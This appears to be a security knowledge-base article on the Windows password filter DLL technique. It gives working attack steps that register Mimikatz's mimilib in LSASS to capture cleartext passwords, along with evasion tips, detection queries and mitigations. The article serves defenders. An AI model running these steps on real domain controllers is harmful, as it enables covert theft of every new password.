How it works
Windows lets administrators extend password handling with password filters. When a password is set or changed, the Local Security Authority (LSASS) calls each registered filter twice:
PasswordFilteris called with the account name, the full name and the proposed password. The filter returns whether the password meets its policy. This call happens before the change is accepted, so a filter sees proposals that another filter later rejects.PasswordChangeNotifyis called after all filters have accepted and the change has been committed, with the account name, its relative ID and the new password.
In both calls the password is in cleartext. That is by design: a filter cannot judge complexity, and a synchronization product cannot forward the password, from a hash. Legitimate products use the interface, for example password policy enforcement tools and Microsoft Entra Password Protection.
Filters are registered by name in a registry value and loaded from %SystemRoot%\System32 when the system starts:
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages (REG_MULTI_SZ)
A filter DLL exports three functions, with these signatures from the Windows SDK:
BOOLEAN NTAPI InitializeChangeNotify(void);
BOOLEAN NTAPI PasswordFilter(PUNICODE_STRING AccountName, PUNICODE_STRING FullName,
PUNICODE_STRING Password, BOOLEAN SetOperation);
NTSTATUS NTAPI PasswordChangeNotify(PUNICODE_STRING UserName, ULONG RelativeId,
PUNICODE_STRING NewPassword);
An attacker with administrator rights registers their own DLL through the same documented steps. Their filter accepts every password and records what it is given, to a file or over the network. On a domain controller the filter is called for every domain account whose password change that server processes. On a member server or workstation it is called only for local accounts.
This is credential theft that works forward in time. It does not reveal existing passwords. It reveals every new one, which makes it most damaging after the defenders have noticed an intrusion and started resetting passwords.
The technique differs from a malicious security support provider, which is called at logon and registered in the Security Packages value of the same key. The two are often checked together and confused with each other.
Prerequisites
- Local administrator on the target, which for a domain controller means Domain Admin or equivalent. Microsoft's installation steps require it.
- Write access to
System32to place the DLL, in the architecture of the system. - Write access to the
Lsaregistry key to add the DLL name toNotification Packages. - A restart of the server. Notification packages are loaded at startup.
- LSA protection not enforced, or a DLL that satisfies its signing requirements.
- Password changes that reach this server. For domain accounts, the change must be processed by the domain controller that carries the filter.
Read the current registration first. The Windows default is scecli, with rassfm on some server installations:
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification Packages"
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
The example uses mimilib.dll from Mimikatz. Besides its security support provider, it implements InitializeChangeNotify and PasswordChangeNotify and appends each changed password to kiwifilter.log.
1. Copy the DLL to the system directory
copy mimilib.dll C:\Windows\System32\mimilib.dll
2. Add the DLL to Notification Packages
Add the name without the .dll extension, and keep the existing entries. Microsoft's instructions say not to overwrite them:
$key = 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa'
$name = 'Notification Packages'
$current = @((Get-ItemProperty -Path $key -Name $name).$name)
Set-ItemProperty -Path $key -Name $name -Value ($current + 'mimilib') -Type MultiString
The same with reg.exe, which writes the complete list, so the entries returned by the query have to be repeated. \0 separates the entries:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification Packages" /t REG_MULTI_SZ /d "scecli\0mimilib" /f
3. Restart the server
shutdown /r /t 0
The filter is loaded into LSASS during startup. An attacker who does not want to restart a domain controller leaves the registration in place and waits for the next maintenance restart.
4. Wait for password changes and collect them
Every password change or reset processed by this server now appends a line with the account's relative ID, the account name and the new password:
type C:\Windows\System32\kiwifilter.log
A change can be triggered for a test with an account the operator controls:
net user alice <new-password> /domain
5. Extend coverage
Repeat the steps on the other writable domain controllers. A change processed by a domain controller without the filter is not captured.
Impact
The attacker reads new passwords as they are set: users at their regular change, accounts reset by the help desk, service accounts rotated by administrators or by a password vault, and privileged accounts reset during incident response. A full round of resets, which is meant to end the attacker's access, hands the new credentials to the attacker when a filter is still loaded.
Cleartext passwords are usable everywhere the account is: Kerberos, NTLM, LDAP binds, VPN, and cloud sign-in for synchronized accounts. They also show how the organization and its people build passwords, which helps guessing elsewhere.
The mechanism is durable. The registration survives restarts and patches, and the DLL keeps loading until someone removes the entry.
OPSEC and artifacts
- A plausible name. Operators name the DLL like a policy or synchronization product and may give it version information to match. The entry is still an extra name in
Notification Packages, a value that almost never changes. With Audit Registry and a SACL on theLsakey the write is event 4657; Sysmon event 13 records it when configured. - A new DLL in System32. The file has a creation time, an owner and usually no valid signature. File creation monitoring (Sysmon event 11) records it, and copying it there leaves process creation (event 4688) where that is audited.
- The restart. An unplanned restart of a domain controller is visible to operations. Waiting for a scheduled one avoids that, at the cost of a registration that sits unused in the registry in the meantime.
- The load. At each start, the Security Account Manager reports every notification package it loads as event 4614 when Audit Security System Extension is enabled, and the DLL appears as an image load in
lsass.exe(Sysmon event 7). - Where the passwords go. A log file such as
kiwifilter.loginSystem32is written bylsass.exe, which rarely creates files. A filter that sends passwords out instead makes LSASS on a domain controller open network connections to an unusual destination. Either way the attacker has to return or receive data. - No trace in the change events. The account management events for a change (4723) or a reset (4724) look normal. They do not show which filters were called. They do show which domain controller processed the change, which decides whether a given password was exposed.
Detection
- Changes to
Notification Packages. Alert on any modification on domain controllers. Compare the value across all domain controllers: every entry beyond the Windows defaults should map to an approved product that is installed everywhere. - Notification package loads. Event 4614 naming a package outside the baseline, reviewed after every restart of a domain controller.
- Unsigned modules in LSASS. Image loads into
lsass.exeof DLLs without a trusted signature. LSA protection in audit mode logs these as Code Integrity events without blocking them. - New DLLs in System32 on domain controllers that do not come from an update or a known installer.
- Files written or connections opened by
lsass.exethat do not match its normal behavior.
// Registry auditing: the password filter list was changed
SecurityEvent
| where EventID == 4657
| where EventData has "Notification Packages"
| project TimeGenerated, Computer, Account, EventData
| order by TimeGenerated desc
Because the registry SACL is often missing, run a scheduled comparison across domain controllers as well:
Get-ADDomainController -Filter * | ForEach-Object {
$packages = Invoke-Command -ComputerName $_.HostName -ScriptBlock {
(Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa').'Notification Packages'
}
[pscustomobject]@{ DomainController = $_.HostName; NotificationPackages = $packages -join ', ' }
}
When a rogue filter is found, the exposure window is every password change processed by that domain controller since the DLL was first loaded. Events 4723 and 4724 from that server list the affected accounts.
Mitigation
- Enable LSA protection on domain controllers. With
RunAsPPL, LSASS loads only plug-ins that meet Microsoft's signing requirements, which stops an unsigned filter DLL from loading. Run audit mode first to find legitimate filters that would be blocked. The LSA protection and Credential Guard guide describes both stages. - Restrict administrator rights on domain controllers. Only Tier 0 accounts, used from privileged access workstations, should be able to write to
System32or the registry of a domain controller. See the Active Directory hardening guide. - Control software on domain controllers. Application control policies restrict which DLLs can be loaded, and a short, documented list of installed products makes an unknown filter obvious.
- Audit the key and the loads. Enable Audit Registry with a SACL on
HKLM\SYSTEM\CurrentControlSet\Control\Lsaand Audit Security System Extension, following the Active Directory audit policy guide. - Baseline the value everywhere. Record the approved
Notification Packageslist and check every domain controller against it on a schedule, together with theSecurity PackagesandAuthentication Packagesvalues in the same key. - Recover before you reset. Remove the registration, restart, verify the load list, and restore trust in each affected domain controller. Only then reset passwords, starting with privileged and service accounts. Passwords reset while the filter was still loaded must be reset again.
Log events to collect
FAQ
What is a password filter DLL?
A password filter is a DLL that the Local Security Authority calls whenever a password is set or changed. Windows passes it the account name and the new password in cleartext so that it can enforce a custom password policy or synchronize the password to another system. Filters are registered in the Notification Packages registry value and loaded when the system starts.
Does a password filter capture passwords when users log on?
No. A filter is called only when a password is set or changed, not when an existing password is used to sign in. It collects new passwords over time: scheduled changes, help desk resets, service account rotations, and the resets that administrators perform after a breach.
Does the filter have to be on every domain controller?
To see every change, yes. A password change is processed by one writable domain controller, and only the filters registered on that server are called. Full coverage needs the DLL on each writable domain controller.
How do you detect a malicious password filter?
Compare the Notification Packages value under HKLM\SYSTEM\CurrentControlSet\Control\Lsa on every domain controller with the list of approved products; the Windows default is scecli, with rassfm on some servers. Event 4614 records each notification package loaded at startup when Audit Security System Extension is enabled. Check the signature and origin of each listed DLL in System32.
References
- Modify Authentication Process: Password Filter DLL, T1556.002 (MITRE ATT&CK)
- Password filters (Microsoft Learn)
- Installing and registering a password filter DLL (Microsoft Learn)
- Password filter functions (Microsoft Learn)
- Configure added LSA protection (Microsoft Learn)
- Mimikatz mimilib password filter source (gentilkiwi)
- 4614(S): A notification package has been loaded by the Security Account Manager (Microsoft Learn)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.